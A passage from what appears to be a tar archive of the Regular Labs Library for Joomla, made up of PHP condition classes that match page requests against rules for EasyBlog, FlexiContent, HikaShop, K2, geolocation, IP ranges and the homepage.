return $this->db->loadResult();
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'easyblog_category',
'parent_id');
}
}
src/Condition/EasyblogItem.php000064400000002055151165347350012372
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogItem
* @package RegularLabs\Library\Condition
*/
class EasyblogItem
extends Easyblog
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_easyblog' || $this->request->view !=
'entry')
{
return $this->_(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentId'))
{
return $this->_(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeyword'))
{
return $this->_(false);
}
// Pass Author
if ( ! $this->passItemByType($pass, 'Author'))
{
return $this->_(false);
}
return $this->_($pass);
}
}
src/Condition/EasyblogKeyword.php000064400000001114151165347350013113
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogKeyword
* @package RegularLabs\Library\Condition
*/
class EasyblogKeyword
extends Easyblog
{
public function pass()
{
parent::passContentKeyword();
}
}
src/Condition/EasyblogPagetype.php000064400000001205151165347350013246
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogPagetype
* @package RegularLabs\Library\Condition
*/
class EasyblogPagetype
extends Easyblog
{
public function pass()
{
return $this->passByPageType('com_easyblog',
$this->selection, $this->include_type);
}
}
src/Condition/EasyblogTag.php000064400000003020151165347350012200
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogTag
* @package RegularLabs\Library\Condition
*/
class EasyblogTag
extends Easyblog
{
public function pass()
{
if ($this->request->option != 'com_easyblog')
{
return $this->_(false);
}
$pass = (
($this->params->inc_tags && $this->request->layout
== 'tag')
|| ($this->params->inc_items && $this->request->view
== 'entry')
);
if ( ! $pass)
{
return $this->_(false);
}
if ($this->params->inc_tags && $this->request->layout
== 'tag')
{
$query = $this->db->getQuery(true)
->select('t.alias')
->from('#__easyblog_tag AS t')
->where('t.id = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
$query = $this->db->getQuery(true)
->select('t.alias')
->from('#__easyblog_post_tag AS x')
->join('LEFT', '#__easyblog_tag AS t ON t.id =
x.tag_id')
->where('x.post_id = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
}
src/Condition/Flexicontent.php000064400000001047151165347350012450
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Flexicontent
* @package RegularLabs\Library\Condition
*/
abstract class Flexicontent
extends \RegularLabs\Library\Condition
{
}
src/Condition/FlexicontentPagetype.php000064400000001225151165347350014145
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class FlexicontentPagetype
* @package RegularLabs\Library\Condition
*/
class FlexicontentPagetype
extends Flexicontent
{
public function pass()
{
return $this->passByPageType('com_flexicontent',
$this->selection, $this->include_type);
}
}
src/Condition/FlexicontentTag.php000064400000003214151165347350013102
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class FlexicontentTag
* @package RegularLabs\Library\Condition
*/
class FlexicontentTag
extends Flexicontent
{
public function pass()
{
if ($this->request->option != 'com_flexicontent')
{
return $this->_(false);
}
$pass = (
($this->params->inc_tags && $this->request->view ==
'tags')
|| ($this->params->inc_items &&
in_array($this->request->view, ['item',
'items']))
);
if ( ! $pass)
{
return $this->_(false);
}
if ($this->params->inc_tags && $this->request->view
== 'tags')
{
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__flexicontent_tags AS t')
->where('t.id = ' . (int)
trim(JFactory::getApplication()->input->getInt('id', 0)))
->where('t.published = 1');
$this->db->setQuery($query);
$tag = $this->db->loadResult();
$tags = [$tag];
}
else
{
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__flexicontent_tags_item_relations AS x')
->join('LEFT', '#__flexicontent_tags AS t ON t.id =
x.tid')
->where('x.itemid = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
}
return $this->passSimple($tags, true);
}
}
src/Condition/FlexicontentType.php000064400000002051151165347350013306
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class FlexicontentType
* @package RegularLabs\Library\Condition
*/
class FlexicontentType
extends Flexicontent
{
public function pass()
{
if ($this->request->option != 'com_flexicontent')
{
return $this->_(false);
}
$pass = in_array($this->request->view, ['item',
'items']);
if ( ! $pass)
{
return $this->_(false);
}
$query = $this->db->getQuery(true)
->select('x.type_id')
->from('#__flexicontent_items_ext AS x')
->where('x.item_id = ' . (int) $this->request->id);
$this->db->setQuery($query);
$type = $this->db->loadResult();
$types = $this->makeArray($type);
return $this->passSimple($types);
}
}
src/Condition/Form2content.php000064400000001047151165347400012362
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Form2content
* @package RegularLabs\Library\Condition
*/
abstract class Form2content
extends \RegularLabs\Library\Condition
{
}
src/Condition/Form2contentProject.php000064400000001726151165347400013715
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Form2contentProject
* @package RegularLabs\Library\Condition
*/
class Form2contentProject
extends Form2content
{
public function pass()
{
if ($this->request->option != 'com_content' &&
$this->request->view == 'article')
{
return $this->_(false);
}
$query = $this->db->getQuery(true)
->select('c.projectid')
->from('#__f2c_form AS c')
->where('c.reference_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$type = $this->db->loadResult();
$types = $this->makeArray($type);
return $this->passSimple($types);
}
}
src/Condition/Geo.php000064400000002546151165347400010521 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Log\Log as JLog;
/**
* Class Geo
* @package RegularLabs\Library\Condition
*/
abstract class Geo
extends \RegularLabs\Library\Condition
{
var $geo = null;
public function getGeo($ip = '')
{
if ($this->geo !== null)
{
return $this->geo;
}
$geo = $this->getGeoObject($ip);
if (empty($geo))
{
return false;
}
$this->geo = $geo->get();
if (JFactory::getApplication()->get('debug'))
{
JLog::addLogger(['text_file' =>
'regularlabs_geoip.log.php'], JLog::ALL,
['regularlabs_geoip']);
JLog::add(json_encode($this->geo), JLog::DEBUG,
'regularlabs_geoip');
}
return $this->geo;
}
private function getGeoObject($ip)
{
if ( ! file_exists(JPATH_LIBRARIES . '/geoip/geoip.php'))
{
return false;
}
require_once JPATH_LIBRARIES . '/geoip/geoip.php';
if ( ! class_exists('RegularLabs_GeoIp'))
{
return new \GeoIp($ip);
}
return new \RegularLabs_GeoIp($ip);
}
}
src/Condition/GeoContinent.php000064400000001323151165347400012373
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class GeoContinent
* @package RegularLabs\Library\Condition
*/
class GeoContinent
extends Geo
{
public function pass()
{
if ( ! $this->getGeo() || empty($this->geo->continentCode))
{
return $this->_(false);
}
return $this->passSimple([$this->geo->continent,
$this->geo->continentCode]);
}
}
src/Condition/GeoCountry.php000064400000001311151165347400012072
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class GeoCountry
* @package RegularLabs\Library\Condition
*/
class GeoCountry
extends Geo
{
public function pass()
{
if ( ! $this->getGeo() || empty($this->geo->countryCode))
{
return $this->_(false);
}
return $this->passSimple([$this->geo->country,
$this->geo->countryCode]);
}
}
src/Condition/GeoPostalcode.php000064400000001440151165347400012527
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class GeoPostalcode
* @package RegularLabs\Library\Condition
*/
class GeoPostalcode
extends Geo
{
public function pass()
{
if ( ! $this->getGeo() || empty($this->geo->postalCode))
{
return $this->_(false);
}
// replace dashes with dots: 730-0011 => 730.0011
$postalcode = str_replace('-', '.',
$this->geo->postalCode);
return $this->passInRange($postalcode);
}
}
src/Condition/GeoRegion.php000064400000002143151165347400011656
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class GeoRegion
* @package RegularLabs\Library\Condition
*/
class GeoRegion
extends Geo
{
public function pass()
{
if ( ! $this->getGeo() || empty($this->geo->countryCode) ||
empty($this->geo->regionCodes))
{
return $this->_(false);
}
$country = $this->geo->countryCode;
$regions = $this->geo->regionCodes;
array_walk($regions, function (&$region, $key, $country) {
$region = $this->getCountryRegionCode($region, $country);
}, $country);
return $this->passSimple($regions);
}
private function getCountryRegionCode(&$region, $country)
{
switch ($country . '-' . $region)
{
case 'MX-CMX':
return 'MX-DIF';
default:
return $country . '-' . $region;
}
}
}
src/Condition/Hikashop.php000064400000002045151165347410011550
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Hikashop
* @package RegularLabs\Library\Condition
*/
abstract class Hikashop
extends \RegularLabs\Library\Condition
{
public function beforePass()
{
$input = JFactory::getApplication()->input;
// Reset $this->request because HikaShop messes with the view after
stuff is loaded!
$this->request->option = $input->get('option',
$this->request->option);
$this->request->view = $input->get('view',
$input->get('ctrl', $this->request->view));
$this->request->id = $input->getInt('id',
$this->request->id);
$this->request->Itemid = $input->getInt('Itemid',
$this->request->Itemid);
}
}
src/Condition/HikashopCategory.php000064400000004412151165347410013246
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class HikashopCategory
* @package RegularLabs\Library\Condition
*/
class HikashopCategory
extends Hikashop
{
public function pass()
{
if ($this->request->option != 'com_hikashop')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category' ||
$this->request->layout == 'listing')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->getCategories();
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch (true)
{
case (($this->request->view == 'category' ||
$this->request->layout == 'listing') &&
$this->request->id):
return [$this->request->id];
case ($this->request->view == 'category' ||
$this->request->layout == 'listing'):
include_once JPATH_ADMINISTRATOR .
'/components/com_hikashop/helpers/helper.php';
$menuClass = hikashop_get('class.menus');
$menuData = $menuClass->get($this->request->Itemid);
return
$this->makeArray($menuData->hikashop_params['selectparentlisting']);
case ($this->request->id):
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__hikashop_product_category AS c')
->where('c.product_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
return $this->makeArray($cats);
default:
return [];
}
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'hikashop_category',
'category_parent_id', 'category_id');
}
}
src/Condition/HikashopPagetype.php000064400000002052151165347410013245
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class HikashopPagetype
* @package RegularLabs\Library\Condition
*/
class HikashopPagetype
extends Hikashop
{
public function pass()
{
if ($this->request->option != 'com_hikashop')
{
return $this->_(false);
}
$type = $this->request->view;
if (
($type == 'product' &&
in_array($this->request->task, ['contact',
'show']))
)
{
$type .= '_' . $this->request->task;
}
elseif (
($type == 'product' &&
in_array($this->request->layout, ['contact',
'show']))
|| ($type == 'user' &&
in_array($this->request->layout, ['cpanel']))
)
{
$type .= '_' . $this->request->layout;
}
return $this->passSimple($type);
}
}
src/Condition/HikashopProduct.php000064400000001356151165347410013115
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class HikashopProduct
* @package RegularLabs\Library\Condition
*/
class HikashopProduct
extends Hikashop
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_hikashop' || $this->request->view !=
'product')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/Homepage.php000064400000011415151165347410011530
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\LanguageHelper as JLanguageHelper;
use Joomla\CMS\Uri\Uri as JUri;
use RegularLabs\Library\RegEx;
use RegularLabs\Library\StringHelper;
/**
* Class HomePage
* @package RegularLabs\Library\Condition
*/
class HomePage
extends \RegularLabs\Library\Condition
{
public function pass()
{
$home =
JFactory::getApplication()->getMenu('site')->getDefault(JFactory::getLanguage()->getTag());
// return if option or other set values do not match the homepage menu
item values
if ($this->request->option)
{
// check if option is different to home menu
if ( ! $home || ! isset($home->query['option']) ||
$home->query['option'] != $this->request->option)
{
return $this->_(false);
}
if ( ! $this->request->option)
{
// set the view/task/layout in the menu item to empty if not set
$home->query['view'] =
isset($home->query['view']) ?
$home->query['view'] : '';
$home->query['task'] =
isset($home->query['task']) ?
$home->query['task'] : '';
$home->query['layout'] =
isset($home->query['layout']) ?
$home->query['layout'] : '';
}
// check set values against home menu query items
foreach ($home->query as $k => $v)
{
if ((isset($this->request->{$k}) &&
$this->request->{$k} != $v)
|| (
( ! isset($this->request->{$k}) || in_array($v,
['virtuemart', 'mijoshop']))
&& JFactory::getApplication()->input->get($k) != $v
)
)
{
return $this->_(false);
}
}
// check post values against home menu params
foreach ($home->params->toObject() as $k => $v)
{
if (($v && isset($_POST[$k]) && $_POST[$k] != $v)
|| ( ! $v && isset($_POST[$k]) && $_POST[$k])
)
{
return $this->_(false);
}
}
}
$pass = $this->checkPass($home);
if ( ! $pass)
{
$pass = $this->checkPass($home, true);
}
return $this->_($pass);
}
private function checkPass(&$home, $addlang = false)
{
$uri = JUri::getInstance();
if ($addlang)
{
$sef = $uri->getVar('lang');
if (empty($sef))
{
$langs = array_keys(JLanguageHelper::getLanguages('sef'));
$path = StringHelper::substr(
$uri->toString(['scheme', 'user',
'pass', 'host', 'port', 'path']),
StringHelper::strlen($uri->base())
);
$path = RegEx::replace('^index\.php/?', '',
$path);
$parts = explode('/', $path);
$part = reset($parts);
if (in_array($part, $langs))
{
$sef = $part;
}
}
if (empty($sef))
{
return false;
}
}
$query = $uri->toString(['query']);
if (strpos($query, 'option=') === false &&
strpos($query, 'Itemid=') === false)
{
$url = $uri->toString(['host', 'path']);
}
else
{
$url = $uri->toString(['host', 'path',
'query']);
}
// remove the www.
$url = RegEx::replace('^www\.', '', $url);
// replace ampersand chars
$url = str_replace('&', '&', $url);
// remove any language vars
$url =
RegEx::replace('((\?)lang=[a-z-_]*(&|$)|&lang=[a-z-_]*)',
'\2', $url);
// remove trailing nonsense
$url = trim(RegEx::replace('/?\??&?$', '',
$url));
// remove the index.php/
$url = RegEx::replace('/index\.php(/|$)', '/', $url);
// remove trailing /
$url = trim(RegEx::replace('/$', '', $url));
$root = JUri::root();
// remove the http(s)
$root = RegEx::replace('^.*?://', '', $root);
// remove the www.
$root = RegEx::replace('^www\.', '', $root);
//remove the port
$root = RegEx::replace(':[0-9]+', '', $root);
// so also passes on urls with trailing /, ?, &, /?, etc...
$root = RegEx::replace('(Itemid=[0-9]*).*^', '\1',
$root);
// remove trailing /
$root = trim(RegEx::replace('/$', '', $root));
if ($addlang)
{
$root .= '/' . $sef;
}
/* Pass urls:
* [root]
*/
$regex = '^' . $root . '$';
if (RegEx::match($regex, $url))
{
return true;
}
/* Pass urls:
* [root]?Itemid=[menu-id]
* [root]/?Itemid=[menu-id]
* [root]/index.php?Itemid=[menu-id]
* [root]/[menu-alias]
* [root]/[menu-alias]?Itemid=[menu-id]
* [root]/index.php?[menu-alias]
* [root]/index.php?[menu-alias]?Itemid=[menu-id]
* [root]/[menu-link]
* [root]/[menu-link]&Itemid=[menu-id]
*/
$regex = '^' . $root
. '(/('
. 'index\.php'
. '|'
. '(index\.php\?)?' . RegEx::quote($home->alias)
. '|'
. RegEx::quote($home->link)
. ')?)?'
. '(/?[\?&]Itemid=' . (int) $home->id . ')?'
. '$';
return RegEx::match($regex, $url);
}
}
src/Condition/Ip.php000064400000006730151165347410010357 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Ip
* @package RegularLabs\Library\Condition
*/
class Ip
extends \RegularLabs\Library\Condition
{
public function pass()
{
if (is_array($this->selection))
{
$this->selection = implode(',', $this->selection);
}
$this->selection = explode(',', str_replace([' ',
"\r", "\n"], ['', '',
','], $this->selection));
$pass = $this->checkIPList();
return $this->_($pass);
}
private function checkIPList()
{
foreach ($this->selection as $range)
{
// Check next range if this one doesn't match
if ( ! $this->checkIP($range))
{
continue;
}
// Match found, so return true!
return true;
}
// No matches found, so return false
return false;
}
private function checkIP($range)
{
if (empty($range))
{
return false;
}
if (strpos($range, '-') !== false)
{
// Selection is an IP range
return $this->checkIPRange($range);
}
// Selection is a single IP (part)
return $this->checkIPPart($range);
}
private function checkIPRange($range)
{
$ip = $this->getIP();
// Return if no IP address can be found (shouldn't happen, but who
knows)
if (empty($ip))
{
return false;
}
// check if IP is between or equal to the from and to IP range
list($min, $max) = explode('-', trim($range), 2);
// Return false if IP is smaller than the range start
if ($ip < trim($min))
{
return false;
}
$max = $this->fillMaxRange($max, $min);
// Return false if IP is larger than the range end
if ($ip > trim($max))
{
return false;
}
return true;
}
/* Fill the max range by prefixing it with the missing parts from the min
range
* So 101.102.103.104-201.202 becomes:
* max: 101.102.201.202
*/
private function fillMaxRange($max, $min)
{
$max_parts = explode('.', $max);
if (count($max_parts) == 4)
{
return $max;
}
$min_parts = explode('.', $min);
$prefix = array_slice($min_parts, 0, count($min_parts) -
count($max_parts));
return implode('.', $prefix) . '.' .
implode('.', $max_parts);
}
private function checkIPPart($range)
{
$ip = $this->getIP();
// Return if no IP address can be found (shouldn't happen, but who
knows)
if (empty($ip))
{
return false;
}
$ip_parts = explode('.', $ip);
$range_parts = explode('.', trim($range));
// Trim the IP to the part length of the range
$ip = implode('.', array_slice($ip_parts, 0,
count($range_parts)));
// Return false if ip does not match the range
if ($range != $ip)
{
return false;
}
return true;
}
private function getIP()
{
if ( ! empty($_SERVER['HTTP_X_FORWARDED_FOR']) &&
$this->isValidIp($_SERVER['HTTP_X_FORWARDED_FOR']))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if ( ! empty($_SERVER['HTTP_X_REAL_IP']) &&
$this->isValidIp($_SERVER['HTTP_X_REAL_IP']))
{
return $_SERVER['HTTP_X_REAL_IP'];
}
if ( ! empty($_SERVER['HTTP_CLIENT_IP']) &&
$this->isValidIp($_SERVER['HTTP_CLIENT_IP']))
{
$_SERVER['HTTP_CLIENT_IP'];
}
return $_SERVER['REMOTE_ADDR'];
}
private function isValidIp($string)
{
return preg_match('#^([0-9]{1,3}\.){3}[0-9]{1,3}$#', $string);
}
}
src/Condition/K2.php000064400000001752151165347410010262 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
// If controller.php exists, assume this is K2 v3
defined('RL_K2_VERSION') or define('RL_K2_VERSION',
file_exists(JPATH_ADMINISTRATOR .
'/components/com_k2/controller.php') ? 3 : 2);
/**
* Class K2
* @package RegularLabs\Library\Condition
*/
abstract class K2
extends \RegularLabs\Library\Condition
{
use \RegularLabs\Library\ConditionContent;
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__k2_items')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
}
src/Condition/K2Category.php000064400000004476151165347420011767
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class K2Category
* @package RegularLabs\Library\Condition
*/
class K2Category
extends K2
{
public function pass()
{
if ($this->request->option != 'com_k2')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories
&& (($this->request->view == 'itemlist'
&& $this->request->task == 'category')
|| $this->request->view == 'latest'
)
)
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->makeArray($this->getCategories());
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch ($this->request->view)
{
case 'item' :
return $this->getCategoryIDFromItem();
break;
case 'itemlist' :
return $this->getCategoryID();
break;
default:
return '';
}
}
private function getCategoryID()
{
return $this->request->id ?:
JFactory::getApplication()->getUserStateFromRequest('com_k2itemsfilter_category',
'catid', 0, 'int');
}
private function getCategoryIDFromItem()
{
if ($this->article && isset($this->article->catid))
{
return $this->article->catid;
}
if ( ! $this->request->id)
{
return $this->getCategoryID();
}
$query = $this->db->getQuery(true)
->select('i.catid')
->from('#__k2_items AS i')
->where('i.id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadResult();
}
private function getCatParentIds($id = 0)
{
$parent_field = RL_K2_VERSION == 3 ? 'parent_id' :
'parent';
return $this->getParentIds($id, 'k2_categories',
$parent_field);
}
}
src/Condition/K2Item.php000064400000002204151165347420011073
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class K2Item
* @package RegularLabs\Library\Condition
*/
class K2Item
extends K2
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_k2' || $this->request->view != 'item')
{
return $this->_(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentId'))
{
return $this->_(false);
}
// Pass Content Keyword
if ( ! $this->passItemByType($pass, 'ContentKeyword'))
{
return $this->_(false);
}
// Pass Meta Keyword
if ( ! $this->passItemByType($pass, 'MetaKeyword'))
{
return $this->_(false);
}
// Pass Author
if ( ! $this->passItemByType($pass, 'Author'))
{
return $this->_(false);
}
return $this->_($pass);
}
}
src/Condition/K2Pagetype.php000064400000001463151165347420011761
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class K2Pagetype
* @package RegularLabs\Library\Condition
*/
class K2Pagetype
extends K2
{
public function pass()
{
// K2 messes with the task in the request, so we have to reset the task
$this->request->task =
JFactory::getApplication()->input->get('task');
return $this->passByPageType('com_k2', $this->selection,
$this->include_type, false, true);
}
}
src/Condition/K2Tag.php000064400000002603151165347420010713
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class K2Tag
* @package RegularLabs\Library\Condition
*/
class K2Tag
extends K2
{
